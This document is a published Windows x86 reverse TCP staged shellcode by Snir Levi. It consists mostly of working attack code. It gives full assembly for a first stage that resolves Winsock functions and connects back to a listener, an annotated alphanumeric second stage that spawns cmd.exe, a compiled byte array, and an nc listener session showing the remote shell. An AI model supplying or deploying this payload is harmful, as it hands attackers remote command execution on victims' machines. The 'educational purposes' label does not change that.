########### Windows x86 Reverse TCP Staged Alphanumeric Shellcode CreateProcessA cmd.exe ########
########### Author: Snir Levi, Applitects #############
## 332 Bytes ##
## For Educational Purposes Only ##
Date: 01.03.17
Author: Snir Levi
Email: snircontact@gmail.com
https://github.com/snir-levi/
IP - 127.0.0.1
PORT - 4444
Tested on:
Windows 7
Windows 10
###Usage###
Victim Executes the first stage shellcode, and opens tcp connection
After Connection is established, send the Alphanumeric stage to the connection
nc -lvp 4444
connect to [127.0.0.1] from localhost [127.0.0.1] (port)
RPhoceshtePrhCreaTQPXLLLLLLLLYFFFFPXNNNNj0XHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHPhessAhProchExitTQPXFFFFFFFFPXZZZZZZZZZZj0YIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIITXQQQQWWWQQBRQQQQQQQQQQjDTZhexeChcmd.TYPRj0ZJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJRRRBRJRRQRAAAAAAANNNNS
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\>
###########
##Shellcode##
#### Second Stage Alphanumeric shellcode: #####
RPhoceshtePrhCreaTQPXLLLLLLLLYFFFFPXNNNNj0XHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHPhessAhProchExitTQPXFFFFFFFFPXZZZZZZZZZZj0YIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIITXQQQQWWWQQBRQQQQQQQQQQjDTZhexeChcmd.TYPRj0ZJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJRRRBRJRRQRAAAAAAANNNNS
R push edx
P push eax
hoces push 0x7365636f //oces
htePr push 0x72506574 //tePr
hCrea push 0x61657243 //Crea
T push esp
Q push ecx
PX will be replaced with call [esi] (0x16ff)
L*8 dec esp // offset esp to kernel32.dll Address
Y pop ecx // ecx = kernel32
F*4 inc esi -> offset [esi+4]
PX will be replaced with mov [esi],eax (0x0689)
N*4 dec esi -> offset [esi]
j0 push 0x30
X pop eax
H*48 dec eax // zeroing eax
P push eax
hessA push 0x41737365 //essA (will be null terminated)
hProc push 0x636f7250 //Proc
hExit push 0x74697845 //Exit
T push esp
Q push ecx
PX will be replaced with call [esi] (0x16ff)
F*8 inc esi -> offset [esi+8]
PX will be replaced with mov [esi],eax (0x0689)
Z*10 offset stack to &processinfo
j0 push 0x30
Y pop ecx
I*48 dec ecx // zeroing ecx
T push esp
X pop eax //eax = &PROCESS_INFORMATION
Q*4 push ecx //sub esp,16
W push edi
W push edi
W push edi
Q push ecx
Q push ecx
B inc edx
R push edx
Q*10 push ecx
jD push 0x44
T push esp
Z pop edx //edx = &STARTUPINFOA
hexeC push 0x65
hcmd. push 0x78652e64
T push esp // &'cmd.exe'
Y pop ecx
P push eax // &PROCESS_INFORMATION
R push edx // &STARTUPINFOA
j0 push 0x30
Z pop edx
J*48 dec edx // zeroing edx
R*3 push edx
B inc edx
R push edx
J dec edx
R*2 push edx
Q push ecx ; &'cmd.exe'
R push edx
A*7 inc ecx //offset ecx to [C]exeh -> will be null terminated
N*4 dec esi //offset [esi+4] to CreateProccesA
S push ebx ; return address
## First Stage Shellcode ##
global _start
section .text
_start:
xor eax,eax
push eax ; null terminator for createProcA
mov eax,[fs:eax+0x30] ; Proccess Enviroment Block
mov eax,[eax+0xc]
mov esi,[eax+0x14]
lodsd
xchg esi,eax
lodsd
mov ebx,[eax+0x10] ; kernel32
mov ecx,[ebx+0x3c] ; DOS->elf_anew
add ecx, ebx; Skip to PE start
mov ecx, [ecx+0x78] ; offset to export table
add ecx,ebx ; kernel32 image_export_dir
mov esi,[ecx+0x20] ; Name Table
add esi,ebx
xor edx,edx
getProcAddress:
inc edx
lodsd
add eax,ebx
cmp dword [eax],'GetP'
jne getProcAddress
cmp dword [eax+4],'rocA'
jne getProcAddress
;---Function Adresses Chain----
;[esi] GetProcAddress
;[esi+12] WSAstartup
;[esi+16] WSASocketA
;[esi+20] connect
;[esi+24] recv
;[esi+28] kernel32
;Alphanumeric stage store:
;[esi+4] CreateProcessA
;[esi+8] ExitProccess
mov esi,[ecx+0x1c] ; Functions Addresses Chain
add esi,ebx
mov edx,[esi+edx*4]
add edx,ebx ; GetProcAddress
sub esp, 32 ; Buffer for the function addresses chain
push esp
pop esi
mov [esp],edx ; esi offset 0 -> GetProcAddress
mov [esi+28],ebx ;esi offset 28 -> kernel32
;--------winsock2.dll Address--------------
xor edi,edi
push edi
push 0x41797261 ; Ayra
push 0x7262694c ; rbiL
push 0x64616f4c ; daoL
push esp
push ebx
call [esi]
;-----ws2_32.dll Address-------
xor ecx,ecx
push ecx
mov cx, 0x3233 ; 0023
push ecx
push 0x5f327377 ; _2sw
push esp
call eax
mov ebp,eax ;ebp = ws2_32.dll
;-------WSAstartup Address-------------
xor ecx,ecx
push ecx
mov cx, 0x7075 ; 00up
push ecx
push 0x74726174 ; trat
push 0x53415357 ; SASW
push esp
push ebp
call [esi]
mov [esi+12],eax ;esi offset 12 -> WSAstartup
;-------WSASocketA Address-------------
xor ecx,ecx
push ecx
mov cx, 0x4174 ; 00At
push ecx
push 0x656b636f ; ekco
push 0x53415357 ; SASW
push esp
push ebp
call [esi]
mov [esi+16],eax;esi offset 16 -> WSASocketA
;------connect Address-----------
push edi
mov ecx, 0x74636565 ; '\0tce'
shr ecx, 8
push ecx
push 0x6e6e6f63 ; 'nnoc'
push esp
push ebp
call [esi]
mov [esi+20],eax;esi offset 20 -> connect
;------recv Address-------------
push edi
push 0x76636572 ;vcer
push esp
push ebp
call [esi]
mov [esi+24],eax;esi offset 24 -> recv
;------call WSAstartup()----------
xor ecx,ecx
sub sp,700
push esp
mov cx,514
push ecx
call [esi+12]
;--------call WSASocket()-----------
; WSASocket(AF_INET = 2, SOCK_STREAM = 1,
; IPPROTO_TCP = 6, NULL,
;(unsigned int)NULL, (unsigned int)NULL);
push eax ; if successful, eax = 0
push eax
push eax
mov al,6
push eax
mov al,1
push eax
inc eax
push eax
call [esi+16]
xchg eax, edi ; edi = SocketRefernce
;--------call connect----------
;struct sockaddr_in {
; short sin_family;
; u_short sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
;};
push byte 0x1
pop edx
shl edx, 24
mov dl, 0x7f ;edx = 127.0.0.1 (hex)
push edx
push word 0x5c11; port 4444
push word 0x2
;int connect(
;_In_ SOCKET s,
;_In_ const struct sockaddr *name,
;_In_ int namelen
;);
mov edx,esp
push byte 16 ; sizeof(sockaddr)
push edx ; (sockaddr*)
push edi ; socketReference
call [esi+20]
;--------call recv()----------
;int recv(
;_In_ SOCKET s,
;_Out_ char *buf,
;_In_ int len,
;_In_ int flags
;);
stage:
push eax
mov ax,950
push eax ;buffer length
push esp
pop ebp
sub ebp,eax ; set buffer to [esp-950]
push ebp ;&buf
push edi ;socketReference
call [esi+24]
executeStage:
xor edx,edx
mov byte [ebp+eax-1],0xc3 ; end of the Alphanumeric buffer -> ret
mov byte [ebp+96],dl ; null terminator to ExitProcess
mov byte [ebp-1],0x5b ; buffer start: pop ebx -> return address
dec ebp
mov word [ebp+20],0x16ff ; call DWORD [esi]
mov word [ebp+35],0x0689 ; mov [esi],eax
mov word [ebp+110],0x16ff; call DWORD [esi]
mov word [ebp+120],0x0689; mov [esi],eax
mov ax,0x4173 ; As (CreateProcessA)
mov ecx,[esi+28] ; ecx = kernel32
dec dl ;edx = 0x000000ff
call ebp ; Execute Alphanumeric stage
executeShell:
mov [ecx],dl ;null terminator to 'cmd.exe'
call dword [esi] ;createProcA
push eax
call dword [esi+4] ; ExitProccess
-----------------------
unsigned char shellcode[]=
"\x31\xc0\x50\x64\x8b\x40\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x4b\x3c\x01\xd9\x8b\x49\x78\x01\xd9\x8b\x71\x20\x01\xde\x31\xd2\x42\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x8b\x71\x1c\x01\xde\x8b\x14\x96\x01\xda\x83\xec\x20\x54\x5e\x89\x14\x24\x89\x5e\x1c\x31\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\x16\x31\xc9\x51\x66\xb9\x33\x32\x51\x68\x77\x73\x32\x5f\x54\xff\xd0\x89\xc5\x31\xc9\x51\x66\xb9\x75\x70\x51\x68\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x55\xff\x16\x89\x46\x0c\x31\xc9\x51\x66\xb9\x74\x41\x51\x68\x6f\x63\x6b\x65\x68\x57\x53\x41\x53\x54\x55\xff\x16\x89\x46\x10\x57\xb9\x65\x65\x63\x74\xc1\xe9\x08\x51\x68\x63\x6f\x6e\x6e\x54\x55\xff\x16\x89\x46\x14\x57\x68\x72\x65\x63\x76\x54\x55\xff\x16\x89\x46\x18\x31\xc9\x66\x81\xec\xf4\x01\x54\x66\xb9\x02\x02\x51\xff\x56\x0c\x50\x50\x50\xb0\x06\x50\xb0\x01\x50\x40\x50\xff\x56\x10\x97\x6a\x01\x5a\xc1\xe2\x18\xb2\x7f\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe2\x6a\x10\x52\x57\xff\x56\x14\x50\x66\xb8\xb6\x03\x50\x54\x5d\x29\xc5\x55\x57\xff\x56\x18\x31\xd2\xc6\x44\x05\xff\xc3\x88\x55\x60\xc6\x45\xff\x5b\x4d\x66\xc7\x45\x14\xff\x16\x66\xc7\x45\x23\x89\x06\x66\xc7\x45\x6e\xff\x16\x66\xc7\x45\x78\x89\x06\x66\xb8\x73\x41\x8b\x4e\x1c\xfe\xca\xff\xd5\x88\x11\xff\x16\x50\xff\x56\x04";
